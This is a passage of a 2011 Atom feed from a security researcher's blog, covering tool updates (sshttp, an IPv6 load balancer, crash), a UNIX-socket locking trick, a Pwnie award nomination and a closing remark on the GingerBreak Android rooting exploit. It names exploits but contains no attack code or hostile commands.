type='text/html' href='http://www.blogger.com/comment.g?blogID=3606809368389861108&amp;postID=459949490998672250' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3606809368389861108/posts/default/459949490998672250'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3606809368389861108/posts/default/459949490998672250'/><link rel='alternate' type='text/html' href='http://c-skills.blogspot.com/2011/10/aio.html' title='AIO'/><author><name>Sebastian</name><uri>http://www.blogger.com/profile/11886596387140041622</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/_DbsW_SGQJgI/TByDOsyR7EI/AAAAAAAAAH8/JSX9zRWHwMY/S220/tux-root.png'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/-JKvgYHwPEG8/To7gcQwz0NI/AAAAAAAAAJg/i7CrMiAlo1Y/s72-c/aio.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3606809368389861108.post-8904191083660360943</id><published>2011-08-19T07:02:00.000-07:00</published><updated>2011-08-19T07:02:16.388-07:00</updated><title type='text'>New sshttp available</title><content type='html'>&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;I uploaded a &lt;a href="http://stealth.openwall.net/networking/sshttp-0.26.tgz"&gt;new sshttp tarball&lt;/a&gt; to fix potential slowdown&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;for a special usage pattern where thousands of clients&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;without sending data upon connect would slow down&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;other users connections.&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/-mmcYsAyOfgE/Tk5s1b1qbQI/AAAAAAAAAJc/G8SWhOw-0FQ/s1600/sshttp.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="73" src="http://1.bp.blogspot.com/-mmcYsAyOfgE/Tk5s1b1qbQI/AAAAAAAAAJc/G8SWhOw-0FQ/s320/sshttp.jpg" width="320" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3606809368389861108-8904191083660360943?l=c-skills.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://c-skills.blogspot.com/feeds/8904191083660360943/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3606809368389861108&amp;postID=8904191083660360943' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3606809368389861108/posts/default/8904191083660360943'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3606809368389861108/posts/default/8904191083660360943'/><link rel='alternate' type='text/html' href='http://c-skills.blogspot.com/2011/08/new-sshttp-available.html' title='New sshttp available'/><author><name>Sebastian</name><uri>http://www.blogger.com/profile/11886596387140041622</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/_DbsW_SGQJgI/TByDOsyR7EI/AAAAAAAAAH8/JSX9zRWHwMY/S220/tux-root.png'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/-mmcYsAyOfgE/Tk5s1b1qbQI/AAAAAAAAAJc/G8SWhOw-0FQ/s72-c/sshttp.jpg' height='72' width='72'/><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3606809368389861108.post-861263972938022967</id><published>2011-08-05T05:44:00.000-07:00</published><updated>2011-08-17T01:44:30.404-07:00</updated><title type='text'>refactored IPv6 load balancing software</title><content type='html'>&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;In 2003 I attended a class at University about &lt;i&gt;IPv6&lt;/i&gt;.&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;Students have had to choose a topic to work about and I&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;chose to write a load balancing software for &lt;i&gt;IPv6&lt;/i&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;utilizing the &lt;i&gt;netfilter QUEUE&lt;/i&gt; target. It was &lt;u&gt;one of the first&lt;/u&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;u&gt;available load balancers for IPv6 ever&lt;/u&gt;, long before the&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;/span&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;i&gt;LVS&amp;nbsp;&lt;/i&gt;project&amp;nbsp;&lt;/span&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;implemented &lt;i&gt;IPv6&lt;/i&gt;.&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;div style="text-align: left;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;It has since then been shown on a lot of &lt;a href="http://www.computer.org/portal/web/csdl/doi/10.1109/ICNS.2006.71"&gt;conferences&lt;/a&gt; and follow-up&lt;/span&gt;&lt;/div&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;a href="http://www.ipv6-showcase.de/slb.html"&gt;classes&lt;/a&gt;.&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;Since the old code was not the most performing one (even though&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;bandwidth and latency tests showed acceptable results) and&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;the underlying &lt;i&gt;netfilter&lt;/i&gt; changes made it useless on new&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;i&gt;Linux&lt;/i&gt; systems, I re-wrote it. It is now better performing,&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;is able to use multiple cores/SMP and runs as user.&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;Additionally the failover code for &lt;i&gt;IPv4&lt;/i&gt; has been improved&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;(it is able to balance &lt;i&gt;IPv4&lt;/i&gt; traffic too).&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;You can argue that, since it runs in userspace, it will&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;always perform badly. However if you have a site for testing&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;with enough traffic, I'd like to see results.&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;If I'd be a professor at University, I would just let one&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;of my students write a thesis about its performance and let&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;him do some measuring, but I am not. :)&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;My performance test on a 100MBit link showed no real impact&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;on either throughput or latency. GBit performance measuring&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;has to be done. Anyone?&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;The code with a guiding README can be found &lt;a href="http://stealth.openwall.net/networking/loaded-0.60.tgz"&gt;here&lt;/a&gt;.&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;In any case it sharpened my skills about &lt;i&gt;IPv6&lt;/i&gt; and its sisters&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;and that alone was really worth re-mangling the code.&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;Great tools are about to be born (Hi Marc:)&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3606809368389861108-861263972938022967?l=c-skills.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://c-skills.blogspot.com/feeds/861263972938022967/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3606809368389861108&amp;postID=861263972938022967' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3606809368389861108/posts/default/861263972938022967'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3606809368389861108/posts/default/861263972938022967'/><link rel='alternate' type='text/html' href='http://c-skills.blogspot.com/2011/08/refactored-ipv6-load-balancing-software.html' title='refactored IPv6 load balancing software'/><author><name>Sebastian</name><uri>http://www.blogger.com/profile/11886596387140041622</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/_DbsW_SGQJgI/TByDOsyR7EI/AAAAAAAAAH8/JSX9zRWHwMY/S220/tux-root.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3606809368389861108.post-6983555766417124978</id><published>2011-08-05T02:12:00.000-07:00</published><updated>2011-08-05T02:12:06.971-07:00</updated><title type='text'>pwnies 2011</title><content type='html'>&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;As you might know or not, me and Marius have been nominated for the &lt;a href="http://pwnies.com/nominations/"&gt;pwnie awards 2011&lt;/a&gt;&amp;nbsp;in the category &lt;i&gt;best&amp;nbsp;&lt;/i&gt;&lt;/span&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;i&gt;server side bug.&lt;/i&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;The &lt;i&gt;CVE-2011-0997&lt;/i&gt; &lt;i&gt;DHCP&lt;/i&gt; bug was really funny and easy to exploit and often&amp;nbsp;&lt;/span&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;found in enterprise and campus network setups.&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;Unfortunally we didnt win, and to my surprise even&amp;nbsp;&lt;b&gt;taviso&lt;/b&gt; didnt&amp;nbsp;&lt;/span&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;win this time.&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;So I am likely the only one who has &lt;i&gt;just one pwnie&lt;/i&gt; while all&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;the real good guys have at least two!&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;Nevertheless, congrats to the winners. In particular I like&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;b&gt;pipacs' &lt;/b&gt;Lifetime Achievement award and $0ny's mastering in failure.&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;They both really deserve it.&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3606809368389861108-6983555766417124978?l=c-skills.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://c-skills.blogspot.com/feeds/6983555766417124978/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3606809368389861108&amp;postID=6983555766417124978' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3606809368389861108/posts/default/6983555766417124978'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3606809368389861108/posts/default/6983555766417124978'/><link rel='alternate' type='text/html' href='http://c-skills.blogspot.com/2011/08/pwnies-2011.html' title='pwnies 2011'/><author><name>Sebastian</name><uri>http://www.blogger.com/profile/11886596387140041622</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/_DbsW_SGQJgI/TByDOsyR7EI/AAAAAAAAAH8/JSX9zRWHwMY/S220/tux-root.png'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3606809368389861108.post-1447734084549682298</id><published>2011-07-15T02:15:00.000-07:00</published><updated>2011-08-02T06:25:39.543-07:00</updated><title type='text'>Do nation, don't nation?!</title><content type='html'>&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;Due to weird offerings, I need to write some words about donations.&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;The basic rule is:&amp;nbsp;&lt;b&gt;Either do it or don't&lt;/b&gt;. If you don't feel&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;to support jailbreaking or cant afford it, its OK. Really.&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;However its not like I need to do you a service&amp;nbsp;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;where in return you offer me your 2 bucks. What do you think&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;one hour of development is worth?&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;If you dont like the&amp;nbsp;&lt;/span&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;software or it is not working for you, just delete it.&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;If you need a consultant/developer/reverse engineer, get one.&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;I hope you can afford it. :)&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;i&gt;P.S.: Do not forget to vote.&lt;/i&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3606809368389861108-1447734084549682298?l=c-skills.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://c-skills.blogspot.com/feeds/1447734084549682298/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3606809368389861108&amp;postID=1447734084549682298' title='4 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3606809368389861108/posts/default/1447734084549682298'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3606809368389861108/posts/default/1447734084549682298'/><link rel='alternate' type='text/html' href='http://c-skills.blogspot.com/2011/07/do-nation-dont-nation.html' title='Do nation, don&apos;t nation?!'/><author><name>Sebastian</name><uri>http://www.blogger.com/profile/11886596387140041622</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/_DbsW_SGQJgI/TByDOsyR7EI/AAAAAAAAAH8/JSX9zRWHwMY/S220/tux-root.png'/></author><thr:total>4</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3606809368389861108.post-7403218779218729311</id><published>2011-07-07T07:15:00.000-07:00</published><updated>2011-07-07T07:15:04.331-07:00</updated><title type='text'>crash</title><content type='html'>&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;I uploaded a new version of &lt;a href="http://stealth.openwall.net/crash"&gt;crash&lt;/a&gt;, fixing API issues&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;it had with newer &lt;i&gt;OpenSSL&lt;/i&gt; versions which silently&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;changed some &lt;i&gt;SSL_METHOD*&lt;/i&gt; returns to const. Huhhh!&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3606809368389861108-7403218779218729311?l=c-skills.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://c-skills.blogspot.com/feeds/7403218779218729311/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3606809368389861108&amp;postID=7403218779218729311' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3606809368389861108/posts/default/7403218779218729311'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3606809368389861108/posts/default/7403218779218729311'/><link rel='alternate' type='text/html' href='http://c-skills.blogspot.com/2011/07/crash.html' title='crash'/><author><name>Sebastian</name><uri>http://www.blogger.com/profile/11886596387140041622</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/_DbsW_SGQJgI/TByDOsyR7EI/AAAAAAAAAH8/JSX9zRWHwMY/S220/tux-root.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3606809368389861108.post-9145126631183364489</id><published>2011-06-23T01:50:00.000-07:00</published><updated>2011-06-23T01:57:12.124-07:00</updated><title type='text'>The lock sock</title><content type='html'>&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;While developing a piece of code which requires locking&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;across processes (not threads) and which runs as nobody&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;user inside a non-writable chroot I came across the idea&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;to use abstract &lt;i&gt;UNIX sockets&lt;/i&gt; for locking.&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;The advantage is that it is very easy to implement and use&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;and you dont need to create a file as you would when using&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;file based locking. You also dont need to mess with the&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;i&gt;SVR4 IPC&lt;/i&gt; mechanisms and its portable as well. The idea is as&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;easy as beautiful so I think I am probably not the first&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;one abusing &lt;i&gt;UNIX sockets&lt;/i&gt; that way. The code is here:&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/-fr0oseoog2c/TgL9y8yc86I/AAAAAAAAAJU/XhhA49L7pt0/s1600/lock-sock.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="320" src="http://4.bp.blogspot.com/-fr0oseoog2c/TgL9y8yc86I/AAAAAAAAAJU/XhhA49L7pt0/s320/lock-sock.jpg" width="249" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;Basically you delegate the atomic lock operation to the&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;kernel via the &lt;i&gt;bind()&lt;/i&gt; syscall since no more than one&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;process can bind to a given path at the same time. Since&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;there is no unbind() operation you have to &lt;i&gt;close()&lt;/i&gt; the&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;socket in order to free the lock.&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3606809368389861108-9145126631183364489?l=c-skills.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://c-skills.blogspot.com/feeds/9145126631183364489/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3606809368389861108&amp;postID=9145126631183364489' title='7 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3606809368389861108/posts/default/9145126631183364489'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3606809368389861108/posts/default/9145126631183364489'/><link rel='alternate' type='text/html' href='http://c-skills.blogspot.com/2011/06/lock-sock.html' title='The lock sock'/><author><name>Sebastian</name><uri>http://www.blogger.com/profile/11886596387140041622</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/_DbsW_SGQJgI/TByDOsyR7EI/AAAAAAAAAH8/JSX9zRWHwMY/S220/tux-root.png'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/-fr0oseoog2c/TgL9y8yc86I/AAAAAAAAAJU/XhhA49L7pt0/s72-c/lock-sock.jpg' height='72' width='72'/><thr:total>7</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3606809368389861108.post-1419274178692593872</id><published>2011-05-26T02:26:00.000-07:00</published><updated>2011-05-26T02:26:55.398-07:00</updated><title type='text'>Closing recent thread</title><content type='html'>&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;I will close the &lt;i&gt;GingerBreak &lt;/i&gt;post now since most comments&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;are meanwhile about particular versions or not related to&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;i&gt;Android&lt;/i&gt; OS at all. It turned out that &lt;i&gt;GingerBreak&lt;/i&gt; works&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;on &lt;i&gt;Froyo, Gingerbread and Honeycomb&lt;/i&gt;. For some versions it&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;needs minor fixes like in the detecting-phase but overall&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;it is a good and stable softbreak. Thanks to those who&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;sent patches or test reports.&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;Smartphone security and &lt;i&gt;Android&lt;/i&gt; security in particular seems&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;to be the new hype &lt;b&gt;(WTF?! HTTP is sending data in&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;b&gt;plaintext!?)&lt;/b&gt; and therefore it is about time to&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;fall back to monitor-only mode. If you ever see a &lt;b&gt;#&lt;/b&gt; on an&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;i&gt;Android&lt;/i&gt; device in future, always remember who was pioneer-ing&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;exploit development on that platform and remember where&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;all these spin-offs came from.&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;I have had the choice of writing scientific papers about security&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 